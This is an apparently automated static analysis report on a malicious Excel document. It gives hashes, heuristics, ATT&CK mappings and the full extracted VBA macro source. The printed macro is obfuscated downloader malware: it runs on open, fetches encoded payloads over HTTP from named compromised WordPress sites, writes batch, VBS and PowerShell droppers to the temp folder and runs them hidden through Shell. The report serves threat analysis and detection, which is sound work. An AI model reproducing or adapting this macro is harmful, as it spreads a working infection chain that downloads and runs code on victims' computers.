Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c789dcd446dc1391…

MALICIOUS

Office (OLE)

64.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2015-10-01
MD5: adaaa2b1bf8b9546391ab2802548b3f0 SHA-1: 372d9d69747db237fc5582b880cdf0533ecc751b SHA-256: c789dcd446dc1391aebe3f86eece2d4f970469fa69c8d4040f15247b5cb66ba3
254 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing obfuscated VBA macros. Critical heuristics indicate potential shell calls and dangerous API name reassembly, specifically mentioning 'MSXML2'. The Auto_Open and Workbook_Open macros are present, suggesting an attempt to execute code upon opening the document. The script attempts to construct paths and potentially execute payloads, indicated by the use of CreateObject and the construction of strings that resemble executable paths.

Heuristics 10

  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10975 bytes
SHA-256: 971017749c8131c5ed20f92643a17ade53104317e73636f4819c79322f145958
Detection
ClamAV: No threats found
Obfuscation or payload: likely
57 of 145 identifiers look randomly generated (e.g. 'hjfgqj2gejh2j12ghej'); 5 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Qkwdjqwdjlqqdw_Open()
     
End Sub
Sub Woqkwdjqwldkqw_Open()
     
End Sub
Sub Auto_Open()
    Iqhdwjkqwhdkjqhdw
    Jiqwjdkqwhjkqhd
End Sub
Sub Iqhdwjkqwhdkjqhdw()
    ANJKDQW = "qhwkjekj2 k1hkeh12eh1 sa"
End Sub
Sub Njqbwdjkqwbjw()
    HQUDWQIUHWQ = "i12hei u12he1 ihe1"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    ANQWDJKHQW = "21jhkejh2kj12 hekj1h2eh1"
    Auto_Open
End Sub
 
Sub Jiqwjdkqwhjkqhd()

    
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant, huwe As Integer, auwd As Integer, aabbb As Integer, BLAHUWDHS As String, YYDBHWD As String
    YYDBHWD = Chr(90 + 2)
    
    
    YUGQYD = Ubqhwdhwqbd(23269) + ""
    BLAHUWDHS = Chr(84) & "em" + "p"
    QHDQUWH = YUGQYD
    FL2 = QHDQUWH
    PH2 = Module2.Goabc(BLAHUWDHS) + YYDBHWD
    
    woweffect = 9
    jwnqdw = -1
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "bakjasdhuhq dqwhdiquw t"
    JWIDJIAAA = ""
    HUYFEA = "qhiwdq uiqwhdjqw kjqwh 2gj11"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "12jhekj12 jh12jeh jk12 ehk1j "
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    huwe = NUqwdqwbdsad(1 - 300 * Sin(20))
    SSS = Chr(AAAA + 2 + huwe)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + huwe + 2) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = "m" & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = "" & ".jpg" & ""
    
    
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "ht" & "t" & "" & "p" & ":" & "/" & Chr(47)
    BQHJDQ = Chr(50 + 50 + 15) + "av" & "epi" + "c." & "s" & "u" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "qjdiqw idjqkwhdqwhdjkqh "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    JHQKWDQAASS = BQHJDQ
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
   
    
    TSTS = "." + "t" + "xt"
    CDDD = "6727156315273" + TSTS
    LNSS = "kaka" + TSTS
    STT1 = "mudofonia.com/w" + "p-content/the" + "mes/twen" + "tytwelve/"
    STT2 = "louisepowers.com/w" + "p-content/plu" + "gins/my-calendar/"


    PBIn = ATTH + STT1 + CDDD
    CONT = Module2.Ljqwidhqwiudhwq(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module2.Ljqwidhqwiudhwq(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module2.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


    JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module2.WaitFor (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module2.Ljqwidhqwiudhwq(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = JHQKWDQAASS + "5751812" + GNG
    MSTAR2 = JHQKWDQAASS + "5757956" + GNG
    STAR1 = ATTH + MSTAR1
    STAR2 = ATTH + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":jadkjasghdjasg" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module2.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module1.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$ujdkwq = 'jqwdb';"
     Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + HUDQG
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, "@" + "ec" + "ho off"
     Print #EFT, ":bubqdhjgsah"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":asdnjkwqjkqw"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, ":wdnkqwjdqlwjw"
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module2.WaitFor (1)
     
     NTH2 = Module1.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
    
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log10(100)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject("" & QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.b" + Chr(97) + "se6" + "4"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(58 + 2)
NDUW = "" & Chr(70 - 8)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid$(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function

Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function


Private Static Function Log10(x)
BQDHWQJDGWJ = "hjfgqj2gejh2j12ghej j12ge2"
Log10 = Log(x) / Log(10#)
End Function















Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Public Function GHJgwqdjqgw(a As Variant, b)
BQHDJQW = "jhkj21e 2h1ge12jhg e22"
a = Shell(b, 0)
GHJgwqdjqgw = a
End Function



Public Function Moloko(a, b, c)
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
Moloko = Mid(a, b, c)
ANDKSJ = "n21jk3h 21jkh2k1k2j1"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
HJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
BHJQVDHQWDS = "21h3kj 123gj1h2g3hj1g 321jhg21"
End Function











Attribute VB_Name = "Module2"

Public Function Goabc(sps As String)
UHQDWQI = "kh21 k21jge hj12gehj12ge2g "
UHQDWQI = "kh21 k21jge hj12gehj12ge2g "
UHQDWQI = "kh21 k21jge hj12gehj12ge2g "
Goabc = Environ(sps)
End Function

Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Ljqwidhqwiudhwq(a As String)
Dim xjhdkqw As Integer, Kuhqwdhuihsaudhiqwdhqi As Object
Dim vvJasdj As String
vvJasdj = a
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQDHJQWDGWQJGS = "" & "M" & "SXML2." & "Ser" & "ver" & "X" & "MLH" & Chr(84) & Chr(84) & Chr(80)
Set Kuhqwdhuihsaudhiqwdhqi = CreateObject(BQDHJQWDGWQJGS)
Kuhqwdhuihsaudhiqwdhqi.Open "G" & "" & "ET", vvJasdj
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
Kuhqwdhuihsaudhiqwdhqi.Send ("")
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
BQHDJQGWQDJWQ = "12hjekh12j eh1kj g21jhgej12ge jh12g 21"
Ljqwidhqwiudhwq = Kuhqwdhuihsaudhiqwdhqi.responsetext
End Function

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